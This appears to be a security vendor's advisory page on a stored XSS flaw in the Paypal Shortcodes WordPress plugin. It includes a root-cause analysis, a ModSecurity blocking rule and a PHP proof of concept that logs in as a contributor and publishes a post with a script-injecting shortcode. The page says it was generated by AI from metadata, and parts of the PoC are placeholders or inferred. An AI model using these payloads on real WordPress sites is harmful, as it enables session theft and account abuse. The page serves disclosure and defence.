Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 28, 2026

CVE-2026-3617: Paypal Shortcodes <= 0.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'amount' and 'name' Shortcode Attributes (paypal-shortcodes)

CVE ID CVE-2026-3617
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.3
Patched Version
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3617 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Paypal Shortcodes WordPress plugin version 0.3 and earlier. The vulnerability exists in the plugin’s shortcode handler function, specifically in the processing of the ‘amount’ and ‘name’ shortcode attributes. Attackers with Contributor-level permissions or higher can inject malicious scripts into posts or pages. These scripts execute when a user views the compromised content.

Atomic Edge research identifies the root cause as improper neutralization of user-supplied input before its inclusion in HTML output. The vulnerability description confirms the `swer_paypal_shortcode()` function uses `extract()` and `shortcode_atts()` to retrieve shortcode attributes. The function then directly concatenates the unsanitized `$name` and `$amount` variables into HTML `value` attributes without applying `esc_attr()` or equivalent output escaping. This pattern is a classic case of missing output escaping, not missing input sanitization. The CWE-79 classification supports this conclusion.

Exploitation requires an authenticated user with at least Contributor privileges. The attacker creates or edits a post or page and inserts the vulnerable shortcode with malicious JavaScript payloads in its ‘name’ or ‘amount’ attributes. For example: `[paypal name=”alert(document.domain)” amount=”1″]`. When the post is saved and subsequently viewed by any user (including administrators), the embedded script executes in the victim’s browser context. The attack vector is the WordPress post editor, and the payload is stored in the database.

Remediation requires proper output escaping on the shortcode attributes before they are printed. The fix should apply the `esc_attr()` function to the `$name` and `$amount` variables when they are echoed into the HTML input element’s `value` attribute. Input validation could also be added as a secondary measure, but output escaping is the primary and necessary defense. A patched version would modify lines 105-106 of the vulnerable function to use `esc_attr($name)` and `esc_attr($amount)`.

Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions on behalf of authenticated users, deface sites, or redirect users to malicious locations. The CVSS vector indicates a scope change (S:C), meaning the vulnerability can impact components beyond the plugin’s security scope. This allows attacks against other users’ sessions within the same WordPress installation. The combination of medium confidentiality (C:L) and integrity (I:L) impact reflects the potential for session hijacking and unauthorized actions.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3617 (metadata-based)
# This rule blocks attempts to exploit the stored XSS via the PayPal Shortcodes plugin shortcode.
# It targets the 'name' and 'amount' attributes within post content submissions.
SecRule REQUEST_FILENAME "@endsWith /wp-admin/post.php" 
  "id:1003617,phase:2,deny,status:403,chain,msg:'Atomic Edge WAF: CVE-2026-3617 Paypal Shortcodes Stored XSS Attempt',severity:'CRITICAL',tag:'CVE-2026-3617',tag:'wordpress',tag:'plugin',tag:'xss'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx \[paypal[^\]]*(name|amount)\s*=\s*['"]?[^'"]*[<>\(\).]" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,capture,setvar:'tx.cve_2026_3617_score=+1'"

SecRule TX:CVE_2026_3617_SCORE "@ge 1" 
  "id:1003618,phase:2,deny,status:403,msg:'Atomic Edge WAF: CVE-2026-3617 Paypal Shortcodes Stored XSS - Malicious shortcode detected',severity:'CRITICAL',tag:'CVE-2026-3617'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3617 - Paypal Shortcodes <= 0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'amount' and 'name' Shortcode Attributes
<?php

$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: Basic XSS to demonstrate vulnerability. In a real attack, this could be replaced with cookie theft or CSRF scripts.
$malicious_name = '"><script>alert(`Atomic Edge XSS: ${document.domain}`)</script>';
$shortcode = "[paypal name="$malicious_name" amount="1"]";

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First request to get login form and nonce (simplified - assumes standard WP login)
$response = curl_exec($ch);
preg_match('/name="log" value="([^"]*)"/', $response, $log_match);
preg_match('/name="pwd" value="([^"]*)"/', $response, $pwd_match);
// In a real scenario, you would parse the nonce from the login form. This PoC assumes basic auth or known credentials.

// Build POST data for login (this is a simplified example; actual login requires nonce and redirect handling)
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);

// Check if login was successful by looking for admin bar or dashboard elements
if (strpos($login_response, 'wp-admin-bar') === false) {
    echo "[!] Login failed. Check credentials.";
    exit;
}

// Now create a new post with the malicious shortcode
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, true);
// This payload assumes we can get a valid nonce for creating a post. The actual parameter names are inferred.
$post_data = http_build_query([
    'post_title' => 'Atomic Edge XSS Test',
    'content' => "This post contains a malicious PayPal shortcode. $shortcode",
    'publish' => 'Publish',
    '_wpnonce' => 'NONCE_PLACEHOLDER', // Requires extraction from the post editor page
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post'
]);

curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$post_response = curl_exec($ch);

// Check for success
if (strpos($post_response, 'Post published.') !== false || strpos($post_response, 'View post') !== false) {
    echo "[+] Post created successfully with malicious shortcode.n";
    echo "[+] Visit the post to trigger the XSS payload.n";
} else {
    echo "[!] Post creation may have failed. Manual verification required.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School